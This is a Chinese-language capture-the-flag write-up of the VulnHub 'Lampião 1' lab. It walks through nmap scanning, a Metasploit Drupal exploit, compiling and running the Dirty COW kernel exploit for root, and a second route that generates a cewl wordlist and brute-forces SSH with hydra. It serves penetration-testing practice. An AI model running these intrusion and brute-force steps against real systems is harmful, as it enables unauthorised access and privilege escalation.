作者:ch4nge
时间:2021.1.12
靶场信息:
地址:https://www.vulnhub.com/entry/lampiao-1,249/
发布日期:2018年7月28日
目标:得到root权限并且找到flag.txt
难度:简单
运行:VirtualBox(网络桥接)
描述: Would you like to keep hacking in your own lab?Try this brand new vulnerable machine! "Lampião 1".Get root!
本次靶场使用VirtualBox进行搭建运行,通过kali系统进行渗透测试,步骤按照渗透测试的过程进行。这里有一些步骤没有进行解析说明,因为这些步骤在第一篇的VulnHub-GoldenEye-1靶场练习已经说明过了,可以过去查阅一下。有不对的地方欢迎各位师傅指正
使用nmap获取目标ip地址为192.168.31.30
nmap -sP 192.168.31.0/24 | grep -B 2 -A 0 "VirtualBox"
在这里直接使用grep过滤出来
⚡ root@ch4nge ~/桌面 nmap -sS -sV -T5 -A -p- 192.168.31.30 Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-11 21:34 CST Nmap scan report for 192.168.31.30 Host is up (0.00089s latency). Not shown: 65532 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 46:b1:99:60:7d:81:69:3c:ae:1f:c7:ff:c3:66:e3:10 (DSA) | 2048 f3:e8:88:f2:2d:d0:b2:54:0b:9c:ad:61:33:59:55:93 (RSA) | 256 ce:63:2a:f7:53:6e:46:e2:ae:81:e3:ff:b7:16:f4:52 (ECDSA) |_ 256 c6:55:ca:07:37:65:e3:06:c1:d6:5b:77:dc:23:df:cc (ED25519) 80/tcp open http? | fingerprint-strings: | NULL: | _____ _ _ | |_|/ ___ ___ __ _ ___ _ _ | \x20| __/ (_| __ \x20|_| |_ | ___/ __| |___/ ___|__,_|___/__, ( ) | |___/ | ______ _ _ _ | ___(_) | | | | | \x20/ _` | / _ / _` | | | |/ _` | | |_ __,_|__,_|_| |_| 1898/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-generator: Drupal 7 (http://drupal.org) | http-robots.txt: 36 disallowed entries (15 shown) | /includes/ /misc/ /modules/ /profiles/ /scripts/ | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt |_/LICENSE.txt /MAINTAINERS.txt |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: Lampi\xC3\xA3o 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port80-TCP:V=7.91%I=7%D=1/11%Time=5FFC53F5%P=x86_64-pc-linux-gnu%r(NULL SF:,1179,"\x20_____\x20_\x20\x20\x20_\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20 SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2 SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\|_\x20\x20\x20_\|\x20\|\x20\(\x SF:20\)\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2 SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\n\x20\x20\|\x20\|\x20\|\x20\|_\|/\x20___\x20\x20\x20\x20___\x20\x20 SF:__\x20_\x20___\x20_\x20\x20\x20_\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2 SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n SF:\x20\x20\|\x20\|\x20\|\x20__\|\x20/\x20__\|\x20\x20/\x20_\x20\\/\x20_`\ SF:x20/\x20__\|\x20\|\x20\|\x20\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20_\ SF:|\x20\|_\|\x20\|_\x20\x20\\__\x20\\\x20\|\x20\x20__/\x20\(_\|\x20\\__\x SF:20\\\x20\|_\|\x20\|_\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2 SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\\___/\x20\\__\| SF:\x20\|___/\x20\x20\\___\|\\__,_\|___/\\__,\x20\(\x20\)\x20\x20\x20\x20\ SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20 SF:\x20\x20\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20 SF:\x20\x20__/\x20\|/\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|___/\x20\x20\x20\x20\x20\x SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20\x20\n______\x20_\x20\x20\x20\x20\x20\x20\x20_\x20\x20\x20\x SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20 SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20_\x20\n\|\x20\x20___\(_\)\x20\x20\x SF:20\x20\x20\|\x20\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20 SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|\x20\|\n\ SF:|\x20\|_\x20\x20\x20_\x20\x20\x20\x20__\|\x20\|_\x20\x20\x20_\x20_\x20_ SF:_\x20___\x20\x20\x20__\x20_\x20\x20\x20\x20___\x20\x20__\x20_\x20_\x20\ SF:x20\x20_\x20\x20__\x20_\|\x20\|\n\|\x20\x20_\|\x20\|\x20\|\x20\x20/\x20 SF:_`\x20\|\x20\|\x20\|\x20\|\x20'_\x20`\x20_\x20\\\x20/\x20_`\x20\|\x20\x SF:20/\x20_\x20\\/\x20_`\x20\|\x20\|\x20\|\x20\|/\x20_`\x20\|\x20\|\n\|\x2 SF:0\|\x20\x20\x20\|\x20\|\x20\|\x20\(_\|\x20\|\x20\|_\|\x20\|\x20\|\x20\| SF:\x20\|\x20\|\x20\|\x20\(_\|\x20\|\x20\|\x20\x20__/\x20\(_\|\x20\|\x20\| SF:_\|\x20\|\x20\(_\|\x20\|_\|\n\\_\|\x20\x20\x20\|_\|\x20\x20\\__,_\|\\__ SF:,_\|_\|\x20\|_\|"); MAC Address: 08:00:27:F6:B1:F5 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.89 ms 192.168.31.30 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 43.70 seconds ```
获得四个端口信息
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http?
1898/tcp open http Apache httpd 2.4.7 ((Ubuntu))
3.1 访问ip没有发现有价值的信息,网页源码也没有东西
3.2 访问1898端口,是一个web网站,开搞
http://192.168.31.30:1898
最下面可以看到 Powered by Drupal ,那就是Drupal的cms啦~
把网站页面能看到的东西都点了看看,注册账号的地方需要邮件,不能用了。先扫描一下目录看看
3.3 dirsearch扫目录
看到了/robots.txt,打开看一下,真是惊喜呀!好多东西,i like
点开几个挨个看吧,找到让我眼前一亮的东西
得到cms版本了:Drupal 7.54
这里使用info id命令进行查看说明,哈哈,有能用的,id=4的时候可用(看的漏洞适用版本)~
只需要设置hosts和port,端口号是1898
获得shell,依旧使用tmp路径进行提权,因为权限是777呀!
这里遇到了问题,我直接搜索的内核版本exp,试了一遍都不能用@#_#@
网上搜了一下,结果都是这个靶场的wp,好吧。那我就瞟一眼大佬的姿势吧~
使用CVE-2016-5195脏牛(Dirty Cow)内核漏洞进行提权,就是这个40847.cpp文件
执行命令的位置与脚本所在位置相同,就是说40847.cpp在~/桌面/40847.cpp
⚡ root@ch4nge ~/桌面 python3 -m http.server 8000 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
.cpp格式使用g++编译
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o exp 40847.cpp -lutil
-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-O2 编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-std=c++11 就是用按C++2011标准来编译的
-pthread 在Linux中要用到多线程时,需要链接pthread库
-o exp 40847.cpp 生成的目标文件,名字为exp
运行一下
得到root用户密码
dirtyCowFun
nonono!看到师傅的做法才发现信息搜集没有做细致,错过了一些信息,现在使用第二种方法来获得shell
audio.m4a
qrc.png
LuizGonzaga-LampiaoFalou.mp3
第一个是音乐,有人在说user tiago
ps 我听了几次都是trageo,看来我不适合用这个方法QAQ
第二个是二维码,在线扫一扫得到 Try harder! muahuahua
第三个是音乐,大半夜竟然给我听这个!音乐没发现什么问题
ssh端口开着,那就爆它
使用cewl生成字典,参考命令详解
cewl http://192.168.31.30:1898/ -w dic.txt
hydra爆破ssh
hydra -l tiago -P dic.txt -v -t 10 ssh://192.168.31.30:22
这里不能用su提权,后面就是脏牛提权啦,和前面一样~
这次的靶场简单级别,果然简单一点~
在msf得到shell之后可以用`python -c 'import pty; pty.spawn("/bin/bash")'`获得完整性shell
在信息搜集的时候我做的不够细心,看到cms版本号就上msf开怼了,条条大道通罗马
看到了其他师傅的做法,回头再看看,可以在网站里面找到一个用户名信息的,并且通过爆破得到用户名密码,使用ssh连接,然后再进行提权操作,没有msf来的简单粗暴~嘿嘿嘿
继续努力!